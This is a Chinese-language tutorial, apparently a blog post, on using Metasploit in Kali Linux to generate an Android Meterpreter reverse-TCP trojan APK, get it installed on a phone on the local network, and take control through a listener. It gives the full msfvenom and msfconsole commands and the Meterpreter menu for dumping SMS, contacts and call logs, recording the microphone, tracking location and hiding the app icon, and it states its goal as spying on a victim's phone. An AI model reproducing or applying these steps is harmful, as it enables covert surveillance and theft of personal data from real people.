本文目的:演示如何借助Kali Linux系统的Metasploit渗透测试框架生成远程控制木马,然后感染局域网内的Android手机,从而实现对受害者手机数据的读取、音频的窃听、位置的获取、软件安装或卸载等。
环境说明
| 机器 | IP地址 |
|---|---|
| Win10 物理主机 | 192.168.1.158 |
| Kali 虚拟机 | 192.168.1.153 |
| 测试手机 | 192.168.1.67 |
Win10主机和手机应连接同一个WIFI,Kali虚拟机安装在VMware中,使用桥接模式使得可配置其IP地址跟物理主机、手机在同一个网段之中,形成一个小局域网。
攻击准备
木马生成
执行下面的命令生成木马文件
msfvenom -p andriod/meterpreter/reverse_tcp lhost=192.168.1.153 lport=9999 -o /root/apk.apk
传输木马
将kali虚拟机上生成的apk文件下载下来
下载方式多种多样
传输木马给手机进行安装
开始攻击
MSF监听
依次执行如下命令
msfconsole //启动msfconsoleuse exploit/multi/handler //加载模块set payload android/meterpreter/reverse_tcp //选择Payloadset lhost 192.168.1.153 //这里的地址设置成我们刚才生成木马的IP地址set lport 9999 //这里的端口设置成刚才我们生成木马所监听的端口exploit //开始执行漏洞,开始监听,等待手机上线
msfconsole //启动msfconsole

加载模块
use exploit/multi/handler

依次设置相关参数
set payload android/meterpreter/reverse_tcp //选择Payload set lhost 192.168.1.153 //这里的地址设置成我们刚才生成木马的IP地址 set lport 9999 //这里的端口设置成刚才我们生成木马所监听的端口
exploit //开始执行漏洞,开始监听,等待手机上线
当用户点击木马文件时会执行木马
获取攻击命令
help
命令:
? Help menubackground Backgrounds the current sessionbg Alias for backgroundbgkill Kills a background meterpreter scriptbglist Lists running background scriptsbgrun Executes a meterpreter script as a background threadchannel Displays information or control active channelsclose Closes a channeldisable_unicode_encoding Disables encoding of unicode stringsenable_unicode_encoding Enables encoding of unicode stringsexit Terminate the meterpreter sessionget_timeouts Get the current session timeout valuesguid Get the session GUIDhelp Help menuinfo Displays information about a Post moduleirb Open an interactive Ruby shell on the current sessionload Load one or more meterpreter extensionsmachine_id Get the MSF ID of the machine attached to the sessionpry Open the Pry debugger on the current sessionquit Terminate the meterpreter sessionread Reads data from a channelresource Run the commands stored in a filerun Executes a meterpreter script or Post modulesecure (Re)Negotiate TLV packet encryption on the sessionsessions Quickly switch to another sessionset_timeouts Set the current session timeout valuessleep Force Meterpreter to go quiet, then re-establish session.transport Change the current transport mechanismuse Deprecated alias for "load"uuid Get the UUID for the current sessionwrite Writes data to a channelStdapi: File system Commands============================Command Description------- -----------cat Read the contents of a file to the screencd Change directorychecksum Retrieve the checksum of a filecp Copy source to destinationdir List files (alias for ls)download Download a file or directoryedit Edit a filegetlwd Print local working directorygetwd Print working directorylcd Change local working directorylls List local fileslpwd Print local working directoryls List filesmkdir Make directorymv Move source to destinationpwd Print working directoryrm Delete the specified filermdir Remove directorysearch Search for filesupload Upload a file or directoryStdapi: Networking Commands===========================Command Description------- -----------ifconfig Display interfacesipconfig Display interfacesportfwd Forward a local port to a remote serviceroute View and modify the routing tableStdapi: System Commands=======================Command Description------- -----------execute Execute a commandgetuid Get the user that the server is running aslocaltime Displays the target system's local date and timepgrep Filter processes by nameps List running processesshell Drop into a system command shellsysinfo Gets information about the remote system, such as OSStdapi: User interface Commands===============================Command Description------- -----------screenshare Watch the remote user's desktop in real timescreenshot Grab a screenshot of the interactive desktopStdapi: Webcam Commands=======================Command Description------- -----------record_mic Record audio from the default microphone for X secondswebcam_chat Start a video chatwebcam_list List webcamswebcam_snap Take a snapshot from the specified webcamwebcam_stream Play a video stream from the specified webcamStdapi: Audio Output Commands=============================Command Description------- -----------play play a waveform audio file (.wav) on the target systemAndroid Commands================Command Description------- -----------activity_start Start an Android activity from a Uri stringcheck_root Check if device is rooteddump_calllog Get call logdump_contacts Get contacts listdump_sms Get sms messagesgeolocate Get current lat-long using geolocationhide_app_icon Hide the app icon from the launcherinterval_collect Manage interval collection capabilitiessend_sms Sends SMS from target sessionset_audio_mode Set Ringer Modesqlite_query Query a SQLite database from storagewakelock Enable/Disable Wakelockwlan_geolocate Get current lat-long using WLAN informationApplication Controller Commands===============================Command Description------- -----------app_install Request to install apk fileapp_list List installed apps in the deviceapp_run Start Main Activty for package nameapp_uninstall Request to uninstall application
